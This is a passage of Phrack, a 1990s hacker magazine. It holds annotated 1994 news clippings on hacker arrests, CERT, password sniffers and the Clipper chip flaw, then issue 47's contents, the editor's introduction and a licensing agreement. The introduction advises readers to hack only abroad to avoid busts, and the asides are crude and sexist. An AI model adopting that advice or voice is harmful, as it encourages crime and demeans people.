
Devlin: "If I want to conceal something for whatever reason. I'd like to have the ability to."

Hal Eisner: "The bottom line is that many of the people here want to do what they want, when they want, and how they want, without restrictions."

Deadkat: "What we are doing is changing the system, and if you have to break the law to change the system, so be it!"

Hal Eisner: "That's from residents of that cyberspacious world [Shot of someone holding a diskette with what is supposed to be codez on the label]

of behind the computer screen where the shy can be [Code Thief on the background]

dangerous. Reporting from Las Vegas, Hal Eisner, Real News.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cyber Cops May 23, 1994

~~~~~~~~~~

by Joseph Panettieri (Information Week) (Page 30)

When Chris Myers, a software engineer at Washington University in St. Louis, arrived to work one Monday morning last month, he realized something wasn't quite right. Files had been damaged and a back door was left ajar. Not in his office, but on the university's computer network.

Like Commissioner Gordon racing to the Batphone, Myers swiftly called the Internet's guardian, the Computer Emergency Response Team (CERT).

The CERT team boasts impressive credentials. Its 14 team members are managed by Dain Gary, former director of corporate data security at Mellon Bank Corp. in Pittsburgh. While Gary is the coach of the CERT squad, Moira West is the scrambling on‑field quarterback. As manager of CERT's incident‑response team and coordination center, she oversees the team's responses to attacks by Internet hackers and its search for ways to reduce the Internet's vulnerabilities. West was formerly a software engineer at the University of York in England.

The rest of the CERT team remains in the shadows. West says

the CERT crew hails from various information‑systems backgrounds, but declines to get more specific, possibly to hide any Achilles' heels from hackers.

One thing West stresses is that CERT isn't a collection of reformed hackers combing the Internet for suspicious data. "People have to trust us, so hiring hackers definitely isn't an option," she says. "And we don't probe or log‑on to other people's systems."

As a rule, CERT won't post an alert until after it finds a

remedy to the problem. But that can take months, giving hackers time to attempt similar breakins on thousands of Internet hosts without fear of detection. Yet CERT's West defends this policy: "We don't want to cause mass hysteria if there's no way to address a new, isolated problem. We also don't want to alert the entire intruder community about it."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Who You Gonna Call?

How to reach CERT

Phone: 412‑268‑7090

Internet: cert@cert.org

Fax: 412‑268‑6989

Mail: CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh, PA 15213‑3890

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Ask for that saucy British chippie. Her voice will melt you like butter.

CERT ‑‑ Continually re‑emphasizing the adage: "You get what you pay for!"]

And remember, CERT doesn't hire hackers, they just suck the juicy bits out of their brains for free.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Defining the Ethics of Hacking August 12, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Amy Harmon (Los Angeles Times) (page A1)

Eric Corley, a.k.a Emmanuel Goldstein ‑‑ patron saint of computer hackers and phone phreaks ‑‑ is having a party.

And perhaps it is just in time. 2600, the hacker magazine Corley started when he was 23, is a decade old. It has spawned monthly hacker meetings in dozens of cities. It has been the target of a Secret Service investigation. It has even gone aboveground, with newsstand sales of 20,000 last year.

As hundreds of hackers converge in New York City this weekend to celebrate 2600's anniversary, Corley hopes to grapple with how to uphold the "hacker ethic," an oxymoron to some, in an era when many of 2600's devotees just want to know how to make free phone calls. (Less high‑minded activities ‑‑ like cracking the New York City subway's new electronic fare card system ‑‑ are also on the agenda).

Hackers counter that in a society increasingly dependent on technology, the very basis for democracy could be threatened by limiting technological exploration. "Hacking teaches people to think critically about technology," says Rop Gonggrijp, a Dutch hacker who will attend the Hackers on Planet Earth conference this weekend. "The corporations that are building the technology are certainly not going to tell us, because they're trying to sell it to us. Whole societies are trusting technology blindly ‑‑ they just believe what the technocrats say."

Gonggrijp, 26, publishes a magazine much like 2600 called Hack‑Tic, which made waves this year with an article showing that while tapping mobile phones of criminal suspects with radio scanners, Dutch police tapped into thousand of other mobile phones.

"What society needs is people who are independent yet knowledgeable," Gonggrijp said. 'That's mostly going to be young people, which society is uncomfortable with. But there's only two groups who know how the phone and computer systems work, and that's engineers and hackers. And I think that's a very healthy situation."

[By the way Amy: Phrack always grants interviews to cute, female LA Times reporters.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fighting Telephone Fraud August 1, 1994

~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara DePompa (Information Week) (Page 74)

Local phone companies are taking an active role in warning customers of scams and cracking down on hackers.

Early last month, a 17‑year old hacker in Baltimore was caught red‑handed with a list of more than 100 corporate authorization codes that would have enabled fraud artists to access private branch exchanges and make outgoing calls at corporate expanse.

After the teenager's arrest, local police shared the list with Bell Atlantic's fraud prevention group. Within hours, the phone numbers were communicated to the appropriate regional phone companies and corporate customers on the list were advised to either change their authorization codes or shut down outside dialing privileges.

"We can't curb fraud without full disclosure and sharing this type of vital information" points out Mary Chacanias, manager of telecommunications fraud prevention for Bell Atlantic in Arlington, VA.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AT&T Forms Team to Track Hackers August 30, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(Reuters News Wire)

AT&T Corp.'s Global Business Communications Systems subsidiary said Wednesday it has formed an investigative unit to monitor, track and catch phone‑system hackers in the act of committing toll fraud.

The unit will profile hacker activity and initiate "electronic stakeouts" with its business communications equipment in cooperation with law enforcement agencies, and work with them to prosecute the thieves.

"We're in a shoot‑out between 'high‑tech cops' ‑‑ like AT&T ‑‑ and 'high‑tech robbers' who brazenly steal long distance service from our business customers," said Kevin Hanley, marketing director for business security systems for AT&T Global Business.

"Our goal is not only to defend against hackers but to get them off the street."

[Oh my God. Are you scared? Have you wet yourself? YOU WILL!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Former FBI Informant a Fugitive July 31, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Keith Stone (Daily News)

Computer outlaw Justin Tanner Petersen and prosecutors

cut a deal: The Los Angeles nightclub promoter known in

the computer world as "Agent Steal" would work for the

government in exchange for freedom.

With his help, the government built its case against

Kevin Lee Poulsen, a Pasadena native who pleaded guilty

in June to charges he electronically rigged telephones at

Los Angeles radio stations so he could win two Porsches,

$22,000 and two trips to Hawaii.

Petersen also provided information on Kevin Mitnick, a

Calabasas man wanted by the FBI for cracking computer and telephone networks at Pacific Bell and the state Department

of Motor Vehicles, according to court records.

Petersen's deal lasted for nearly two years ‑ until

authorities found that while he was helping them undercover,

he also was helping himself to other people's credit cards.

Caught but not cornered, the 34‑year‑old "Agent Steal" had

one more trick: He admitted his wrongdoing to a prosecutor

at the Los Angeles U.S. Attorney's Office, asked to meet

with his attorney and then said he needed to take a walk.

And he never came back.

A month after Petersen fled, he spoke with a magazine for computer users about his role as an FBI informant, who he

had worked against and his plans for the future.

"I have learned a lot about how the bureau works. Probably

too much," he said in an interview that Phrack Magazine published Nov. 17, 1993. Phrack is available on the Internet, a worldwide network for computer users.

Petersen told the magazine that working with the FBI was fun

most of the time. "There was a lot of money and resources used. In addition, they paid me well," he said.

"If I didn't cooperate with the bureau," he told Phrack, "I

could have been charged with possession of government material."

"Most hackers would have sold out their mother," he added.

Petersen is described as 5 foot, 11 inches, 175 pounds, with brown hair ‑ "sometimes platinum blond." But his most telling characteristic is that he walks with the aid of a prosthesis because he lost his left leg below the knee in a car accident.

Heavily involved in the Hollywood music scene, Petersen's

last known employer was Club "Velvet Jam," one of a string of clubs he promoted in Los Angeles.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacker in Hiding July 31, 1994

~~~~~~~~~~~~~~~~

by John Johnson (LA Times)

First there was the Condor, then Dark Dante. The latest computer hacker to hit the cyberspace most wanted list is Agent Steal, a slender, good‑looking rogue partial to Porsches and BMWs who bragged that he worked undercover for the FBI catching other hackers.

Now Agent Steal, whose real name is Justin Tanner Petersen, is on the run from the very agency he told friends was paying his rent and flying him to computer conferences to spy on other hackers.

Petersen, 34, disappeared Oct. 18 after admitting to federal prosecutors that he had been committing further crimes during the time when he was apparently working with the government "in the investigation of other persons," according to federal court records.

Ironically, by running he has consigned himself to the same secretive life as Kevin Mitnick, the former North Hills man who is one of the nation's most infamous hackers, and whom Petersen allegedly bragged of helping to set up for an FBI bust. Mitnick, who once took the name Condor in homage to a favorite movie character, has been hiding for almost two years to avoid prosecution for allegedly hacking into computers illegally and posing as a law enforcement officer.

Authorities say Petersen's list of hacks includes breaking into computers used by federal investigative agencies and tapping into a credit card information bureau. Petersen, who once promoted after‑hours rock shows in the San Fernando Valley, also was involved in the hacker underground's most sensational scam ‑ hijacking radio station phone lines to win contests with prizes ranging from new cars to trips to Hawaii.

Petersen gave an interview last year to an on‑line publication called Phrack in which he claimed to have tapped the phone of a prostitute working for Heidi Fleiss. He also boasted openly of working with the FBI to bust Mitnick.

"When I went to work for the bureau I contacted him," Petersen said in the interview conducted by Mike Bowen. "He was still up to his old tricks, so we opened a case on him. . . . What a loser. Everyone thinks he is some great hacker. I outsmarted him and busted him."

In the Phrack interview, published on the Internet, an international network of computer networks with millions of users, Agent Steal bragged about breaking into Pacific Bell headquarters with Poulsen to obtain information about the phone company's investigation of his hacking.

Petersen was arrested in Texas in 1991, where he lived briefly. Court records show that authorities searching his apartment found computer equipment, Pacific Bell manuals and five modems.

A grand jury in Texas returned an eight‑count indictment against Petersen, accusing him of assuming false names, accessing a computer without authorization, possessing stolen mail and fraudulently obtaining and using credit cards.

The case was later transferred to California and sealed, out of concern for Petersen's safety, authorities said. The motion to seal, obtained by Sherman, states that Petersen, "acting in an undercover capacity, currently is cooperating with the United States in the investigation of other persons in California."

In the Phrack interview, Petersen makes no apologies for his choices in life.

While discussing Petersen's role as an informant, Mike Bowen says, "I think that most hackers would have done the same as you."

"Most hackers would have sold out their mother," Petersen responded.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computer Criminal Caught After 10 Months on the Run August 30, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Keith Stone (Daily News)

Convicted computer criminal Justin Tanner Petersen was captured Monday in Los Angeles, 10 months after federal authorities said they discovered he had begun living a dual life as their informant and an outlaw hacker.

Petersen, 34, was arrested about 3:30 a.m. outside a Westwood apartment that FBI agents had placed under surveillance, said Assistant U.S. Attorney David Schindler.

A flamboyant hacker known in the computer world as "Agent Steal," Petersen was being held without bail in the federal detention center in Los Angeles. U.S. District Court Judge Stephen V. Wilson scheduled a sentencing hearing for Oct. 31.

Petersen faces a maximum of 40 years in prison for using his sophisticated computer skills to rig a radio contest in Los Angeles, tap telephone lines and enrich himself with credit cards.

Monday's arrest ends Petersen's run from the same FBI agents with whom he had once struck a deal: to remain free on bond in exchange for pleading guilty to several computer crimes and helping the FBI with other hacker cases.

The one‑time nightclub promoter pleaded guilty in April 1993 to six federal charges. And he agreed to help the government build its case against Kevin Lee Poulsen, who was convicted of manipulating telephones to win radio contests and is awaiting trial on espionage charges in San Francisco.

Authorities said they later learned that Petersen had violated the deal by committing new crimes even as he was awaiting sentencing in the plea agreement.

On Monday, FBI agents acting on a tip were waiting for Petersen when he parked a BMW at the Westwood apartment building. An FBI agent called Petersen's name, and Petersen began to run, Schindler said.

Two FBI agents gave chase and quickly caught Petersen, who has a prosthetic lower left leg because of a car‑motorcycle accident several years ago.

In April 1993, Petersen pleaded guilty to six federal charges including conspiracy, computer fraud, intercepting wire communications, transporting a stolen vehicle across state lines and wrongfully accessing TRW credit files. Among the crimes that Petersen has admitted to was working with other people to seize control of telephone lines so they could win radio promotional contests. In 1989, Petersen used that trick and walked away with $10,000 in prize money from an FM station, court records show.

When that and other misdeeds began to catch up with him, Petersen said, he fled to Dallas, where he assumed the alias Samuel Grossman and continued using computers to make money illegally.

When he as finally arrested in 1991, Petersen played his last card. "I called up the FBI and said: 'Guess what? I am in jail,' " he said. He said he spent the next four months in prison, negotiating for his freedom with the promise that he would act as an informant in Los Angeles.

The FBI paid his rent and utilities and gave him $200 a week for spending money and medical insurance, Petersen said.

They also provided him with a computer and phone lines to gather information on hackers, he said.

Eventually, Petersen said, the FBI stopped supporting him so he turned to his nightclubs for income. But when that began to fail, he returned to hacking for profit.

"I was stuck out on a limb. I was almost out on the street. My club was costing me money because it was a new club," he said. "So I did what I had to do. I an not a greedy person."

[Broke, Busted, Distrusted. Turning in your friends leads to some seriously bad Karma, man. Negative energy like that returns ten‑fold. You never know in what form either. You could end getting shot, thrown in jail, or worse, test HIV Positive. So many titty‑dancers, so little time, eh dude? Good luck and God bless ya' Justin.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fugitive Hacker Baffles FBI With Technical Guile July 5, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

[Mitnik, Mitnik, Mitnik, and more Mitnik. Poor bastard. No rest for the wicked, eh Kevin?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computer Outlaws Invade the Internet May 24, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Mike Toner (Atlanta Journal‑Constitution)

A nationwide wave of computer break‑ins has law enforcement authorities scrambling to track down a sophisticated ring of "hackers" who have used the international "information

highway," the Internet, to steal more than 100,000 passwords ‑‑ the electronic keys to vast quantities of information stored on government, university and corporate computer systems.

Since the discovery of an isolated break‑in last year at a

single computer that provides a "gateway" to the Internet, operators of at least 30 major computer systems have found illicit password "sniffers" on their machines.

The Federal Bureau of Investigation has been investigating the so‑called "sniffer" attacks since February, but security experts say the intrusions are continuing ‑‑ spurred, in part, by the publication last month of line‑by‑line instructions for the offending software in an on‑line magazine for hackers.

Computer security experts say the recent rash of password piracy using the Internet is much more serious than earlier security violations, like the electronic "worm" unleashed in 1988 by Cornell University graduate student Robert Morris.

"This is a major concern for the whole country," she says.

"I've had some sleepless nights just thinking about what could happen. It's scary. Once someone has your ID and your password, they can read everything you own, erase it or shut a system down. They can steal proprietary information and sell it, and you might not even know it's gone."

"Society has shifted in the last few years from just using computers in business to being absolutely dependent on them and the information they give us ‑‑ and the bad guys are beginning to appreciate the value of information," says Dain Gary, manager of the Computer Emergency Response Team (CERT), a crack team of software experts at Carnegie‑Mellon University in Pittsburgh that is supported by the Defense Department's Advanced Research Projects Agency.

Gary says the current rash of Internet crime appears to be the work of a "loosely knit but fairly organized group" of computer hackers adept not only at breaking and entering, but at hiding their presence once they're in.

Most of the recent break‑ins follow a similar pattern. The intruders gain access to a computer system by locating a weakness in its security system ‑‑ what software experts call an "unpatched vulnerability."

Once inside, the intruders install a network monitoring program, a "sniffer," that captures and stores the first 128 keystrokes

of all newly opened accounts, which almost always includes a user's log‑on and password.

"We really got concerned when we discovered that the code had been published in Phrack, an on‑line magazine for hackers, on April 1," he says. "Putting something like that in Phrack is a little like publishing the instructions for converting semiautomatic weapons into automatics.

Even more disturbing to security experts is the absence of a foolproof defense. CERT has been working with computer system administrators around the country to shore up electronic security, but the team concedes that such "patches" are far from perfect.

[Look for plans on converting semiautomatic weapons into automatics in the next issue.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Information Superhighwaymen ‑ Hacker Menace Persists May 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(Open Computing) (Page 25)

Once again the Internet has been labeled a security problem. And a new breed of hackers has attracted attention for breaking into systems. "This is a group of people copying what has been done for years," says Chris Goggans, aka Erik Bloodaxe. "There's one difference: They don't play nice."

Goggans was a member of the hacker gang called the Legion of Doom in the late '80s to early '90s. Goggans says the new hacking group, which goes by the name of "The Posse," has broken into numerous Business Week 1000 companies including Sun Microsystems Inc., Boeing, and Xerox. He says they've logged onto hundreds of universities and online services like The Well. And they're getting root access on all these systems.

For their part, The Posse‑‑a loose band of hackers‑‑isn't talking.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Security Experts: Computer Hackers a Growing Concern July 22, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

New York Times News Wire (Virginian‑Pilot and Ledger Star) (2A)

Armed with increasing sophisticated snooping tools, computer programmers operating both in the United States and abroad have gained unauthorized access to hundreds of sensitive but unclassified government and military computer networks called Internet, computer security experts said.

Classified government and military data, such as those that control nuclear weapons, intelligence and other critical functions, are not connected to the Internet and are believed to be safe from the types of attacks reported recently.

The apparent ease with which hackers are entering military and government systems suggests that similar if not greater intrusions are under way on corporate, academic and commercial networks connected to the Internet.

Several sources said it was likely that only a small percentage of intrusions, perhaps fewer than 5 percent, have been detected.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NSA Semi‑confidential Rules Circulate

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Keay Davidson (San Francisco Examiner) (Page A1)

It arrived mysteriously at an Austin, Texas, post office box by "snail mail" ‑ computerese for the Postal Service. But once the National Security Agency's employee handbook was translated into bits and bytes, it took only minutes to circulate across the country.

Thus did a computer hacker in Texas display his disdain for government secrecy last week ‑ by feeding into public computer networks the semiconfidential document, which describes an agency that, during the darkest days of the Cold War, didn't officially "exist."

Now, anyone with a computer, telephone, modem and basic computer skills can read the 36‑page manual, which is stamped "FOR OFFICIAL USE ONLY" and offers a glimpse of the shadowy world of U.S. intelligence ‑ and the personal price its inhabitants pay.

"Your home, car pool, and public places are not authorized areas to conduct classified discussions ‑ even if everyone involved in the discussion possesses a proper clearance and "need‑to‑know.' The possibility that a conversation could be overheard by unauthorized persons dictates the need to guard against classified discussions in non‑secure areas."

The manual is "so anal retentive and paranoid. This gives you some insight into how they think," said Chris Goggans, the Austin hacker who unleashed it on the computer world. His on‑line nom de plume is "Erik Bloodaxe" because "when I was about 11, I read a book on Vikings, and that name really struck me."

NSA spokeswoman Judi Emmel said Tuesday that "apparently this document is an (NSA) employee handbook, and it is not classified." Rather, it is an official NSA employee manual and falls into a twilight zone of secrecy. On one hand, it's "unclassified." On the other hand, it's "FOR OFFICIAL USE ONLY" and can be obtained only by filing a formal request under the U.S. Freedom of Information Act, Emmel said.

"While you may take this handbook home for further study, remember that it does contain "FOR OFFICIAL USE ONLY' information which should be protected," the manual warns. Unauthorized release of such information could result in "appropriate administrative action ... (and) corrective and/or disciplinary measures."

Goggans, 25, runs an on‑line electronic "magazine" for computer hackers called Phrack, which caters to what he calls the "computer underground." He is also a computer engineer at an Austin firm, which he refuses to name.

The manual recently arrived at Goggans' post office box in a white envelope with no return address, save a postmark from a Silicon Valley location, he says. Convinced it was authentic, he typed it into his computer, then copied it into the latest issue of Phrack.

Other hackers, like Grady Ward of Arcata, Humboldt County, and Jeff Leroy Davis of Laramie, Wyo., redistributed the electronic files to computer users' groups. These included one run by the Cambridge, Mass.‑based Electronic Frontier Foundation, which fights to protect free speech on computer networks.

Ward said he helped redistribute the NSA manual "to embarrass the NSA" and prove that even the U.S. government's most covert agency can't keep documents secret.

The action also was aimed at undermining a federal push for data‑encryption regulations that would let the government tap into computer networks, Ward said.

[Yeah...sure it was, Grady.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hackers Stored Pornography in Computers at Weapons Lab July 13, 1994

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Adam S. Bauman (Virginian‑Pilot and Ledger‑Star) (Page A6)

One of the nation's three nuclear weapons labs has confirmed that computer hackers were using its computers to store and distribute hard‑core pornography.

The offending computer, which was shut down after a Los Angeles Times reporter investigating Internet hacking alerted lab officials, contained more than 1,000 pornographic images. It was believed to be the largest cache of illegal hardcore pornography ever found on a computer network.

At Lawrence Livermore, officials said Monday that they believed at least one lab employee was involved in the pornography ring, along with an undetermined number of outside collaborators.

[Uh, let me see if I can give this one a go:

A horny lab technician at LLNL.GOV uudecoded gifs for days on end from a.b.p.e. After putting them up on an FSP site, a nosey schlock reporter blew the whistle, and wrote up a big "hacker‑scare" article.

The top‑notch CIAC team kicked the horn‑dog out the door, and began frantically scouring the big Sun network at LLNL for other breaches, all the while scratching their heads at how to block UDP‑based apps like FSP at their firewall. MPEGs at 11.

How does shit like this get printed????]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Clipper Flaw May Thwart Fed Effort June 6, 1994

by Aaron Zitner (Boston Globe)

Patents, Technical Snares May Trip Up the 'Clipper' June 6, 1994 by Sharon Fisher (Communications Week) (Page 1)

[Clipper, Flipper, Slipper. It's all a big mess, and has obsoleted itself. But, let's sum up the big news:

How the Clipper technology is SUPPOSED to work

1) Before an encoded message can be sent, a clipper computer chip assigns and tests a scrambled group of numbers called a LEAF, for Law Enforcement Access Field. The LEAF includes the chip's serial number, a "session key" number that locks the message and a "checksum" number that verifies the validity of the session key.

2) With a warrant to wiretap, a law‑enforcement agency like the FBI could record the message and identify the serial number of a Clipper chip. It would then retrieve from custodial agencies the two halves of that chip's decoding key.

3) Using both halves of the decoding key, the FBI would be able to unscramble the session key number, thus unlocking the messages or data that had been protected.

How the Clipper technology is FLAWED (YAY, Matt Blaze!)

1) Taking advantage of design imperfections, people trying to defeat the system could replace the LEAF until it erroneously passed the "checksum" verification, despite an invalid session‑key number.

2) The FBI would still be able to retrieve a decoding key, but it would prove useless.

3) Because the decoding key would not be able to unscramble the invalid

47

- Introduction by Erik Bloodaxe

- Phrack Loopback by Phrack Staff

- Line Noise by Phrack Staff

- Line Noise by Phrack Staff

- The #hack FAQ (Part 1) by voyager

- The #hack FAQ (Part 2) by voyager

- The #hack FAQ (Part 3) by voyager

- The #hack FAQ (Part 4) by voyager

- DEFCon Information by Phrack Staff

- HoHoCon by Netta Gilboa

- HoHoCon by Count Zero

- HoHo Miscellany by various

- An Overview of Prepaid Calling Cards by Treason

- The Glenayre GL3000 Paging and Voice Retrieval System by Armitage

- Complete Guide to Hacking Meridian Voice Mail by Substance

- DBS Primer from American Hacker Magazine by unknown

- Your New Windows Background (Part 1) by The Man

- Your New Windows Background (Part 2) by Substance

- A Guide To British Telecom's Caller ID Service by Dr. B0B

- A Day in The Life of a Warez Broker by Xxxx Xxxxxxxx

- International Scenes by various

- Phrack World News by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 1 of 22

Issue 47 Index

__________

P H R A C K 4 7

April 15, 1995

__________

"Mind The Gap"

This issue is late, so is my tax return, but I have a lot of excuses for both.

Lots of things have happened since last issue. I've been hassled by the police for publishing Phrack. I've been to the Pyramids at Giza and the tombs in the Valley of the Kings. I've been to London several times and met spies from MI5 and GCHQ. I watched almost everyone I know get busted. I went to check out NORAD and then skiied Breckenridge. And I quit my job at Dell Computers after almost 3 years.

Unemployment is great. One of the best things about it is sleeping till noon. On the other hand, one of the worst things about it is that you sleep until noon. It's been interesting anyway. I've been doing a lot of reading: price evaluation of the forensic chemistry section of the Sigma Chemicals catalog, the rantings of Hunter S. Thompson, the amazing cosmetic similarities between International Design Magazine and Wired, Victor Ostrovsky's Mossad books, every UNIX book ever written, every book on satellite communications ever written, and hundreds of magazines ranging from Film Threat to Sys Admin to Monitoring Times to Seventeen. Lord knows what I'll do with this newfound wealth of information.

Anyway, amongst all this, I've been trying to get things organized for Summercon this June 2,3,4 in Atlanta Georgia. One of the other factors in the delay of Phrack was the hotel contract, so I could include full conference details in this issue. By the way, you are all invited.

Wait a minute, someone said something about busts? Yes. There were busts. Lots of them. Raids upon raids upon raids. Some local, some federal. Some Justice, some Treasury. You probably haven't read of any of these raids, nor will you, but they happened. It has always been my policy not to report on any busts that have not gained media coverage elsewhere, so I'm not going to go into any details. Just rest somewhat assured that if you haven't been raided by now, then you probably won't be. (At least not due to these particular investigations.)

People, if we all just followed one simple rule none of us would ever have any problems: DO NOT HACK ANYTHING IN YOUR OWN COUNTRY. If you are German, don't hack Germany! If you are Danish, don't hack Denmark! If you are Australian, don't hack Australia! IF YOU ARE AMERICAN, DON'T HACK AMERICA!

The last controversy surrounding this issue came at the last possible second. In the several years that I've been publishing Phrack, we've revieved all kinds of files, but remarkably, I've never really recieved any "anarchy" files. However, in the last several months I've been inundated with files about making bombs. There were so many coming in, that I really couldn't ignore them. Some of them were pretty damn good too. So I figured, I'll put several of them together and put in ONE anarchy file as a kind of tongue‑in‑cheek look at the kind of stupidity we have floating around in the underground.

Then the bomb went off in Oklahoma City.

Then Unabomb struck again.

Then the politicos of the world started spouting off about giving the federal law enforcement types carte blanche to surveil and detain people who do things that they don't like, especially with regards to terrorist like activites.

Normally, I don't really give a damn about possible reprocussions of my writing, but given the political climate of the day, I decided that it would really be stupid for me to print these files. I mean, one was REAL good, and obviously written by someone who learned "British" English in a non English‑speaking country. I mentioned my concerns to an individual who works with the FBI's counter‑terrorism group, and was told that printing the file would probably be the stupidest thing I could possibly do in my entire life...PERIOD.

So the file is nixed. I really feel like I'm betraying myself and my readership, for giving into the underlying political climate of the day, and falling prey to a kind of prior‑restraint, but I really don't need the grief. I'm on enough lists as it is, so I really don't need to be the focus of some multi‑jurisdictional task‑force on terrorism because I published a file on how to make a pipe bomb over the Internet. (Hell, I'm now even on the Customs Department's list of ne'er‑do‑wells since someone from Europe thought it would be funny to send me some kind of bestiality magazine which was siezed. Thanks a lot, asshole, whoever you are.) Obviously, the media think the net is some kind of hotbed for bomb‑making info, so I'm usually the first to satisfy their most warped yellow‑journalistic fantasies, but not this time.

I really hate what I see coming because of the mess in Oklahoma. If the American government does what I suspect, we will be seeing

a major conservative backlash, a resurgence of Hoover‑esque power in the FBI, constitutional amendments to limit free speech, and a bad time for everyone, especially known‑dissenters and suspicious folk like yours truly. Be very afraid. I am.

But anyway, enough of my rambling, here is Issue 47.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until

such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file. Cost is $100.00 US per user for subscription registration. Cost of multi‑user licenses will be negotiated on a site‑by‑site basis.

Individual User: If you are an individual end user whose use

is not on behalf of a business, organization or government

agency, you may read and possess copies of Phrack Magazine

free of charge. You may also distribute this magazine freely

to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications

as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any

outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary

notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine

